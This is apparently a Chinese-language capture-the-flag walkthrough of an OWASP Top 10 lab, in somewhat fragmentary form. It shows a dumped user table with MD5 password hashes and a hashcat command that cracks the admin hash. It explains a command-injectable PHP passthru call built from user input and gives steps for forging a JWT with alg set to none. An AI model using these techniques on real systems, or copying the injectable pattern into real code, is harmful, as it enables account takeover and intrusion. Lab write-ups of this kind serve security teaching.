现在是时候将您所学的知识付诸实践了!对于此挑战,请连接到 http://MACHINE_IP:81/ 上的 Web 应用程序。
这里我查看页面源码。
webapp.db
4413096d9c933359b898b6202288a650|admin|6eea9b7ef19179a06954edd0f6c05ceb|1
23023b67a32488588db1e28579ced7ec|Bob|ad0234829205b9033196ba818f7a872b|1
4e8423b514eef575394ff78caed3254d|Alice|268b38ca7b84f44fa0a6cdc86e6301e0|0
这里我用hashcat
hashcat -m 0 6eea9b7ef19179a06954edd0f6c05ceb /usr/share/wordlists/rockyou.txt
任务9:3.注射
注射
注射缺陷在当今的应用中非常常见。出现这些缺陷是因为应用程序将用户控制的输入解释为命令或参数。注入攻击取决于使用的技术以及这些技术如何解释输入。一些常见示例包括:
检查是否设置了 mooing 参数。如果是,则变量获取传递到输入字段中的内容。$mooing
检查是否设置了参数 “cow”。如果是,则变量获取通过参数传递的内容。$cow
然后,程序执行函数 。passthru 函数只是在操作系统的控制台中执行一个命令,并将输出发送回用户的浏览器。你可以看到,我们的命令是通过连接 $cow 并在其末尾$mooing变量形成的。由于我们可以操纵这些变量,我们可以尝试使用简单的技巧注入额外的命令。如果你愿意,你可以阅读 PHP 网站上的文档,以获取有关函数本身的更多信息。passthru("perl /usr/bin/cowsay -f $cow $mooing");passthru()
修改令牌的 header 部分,以便 header 包含值 。algnone
删除签名部分。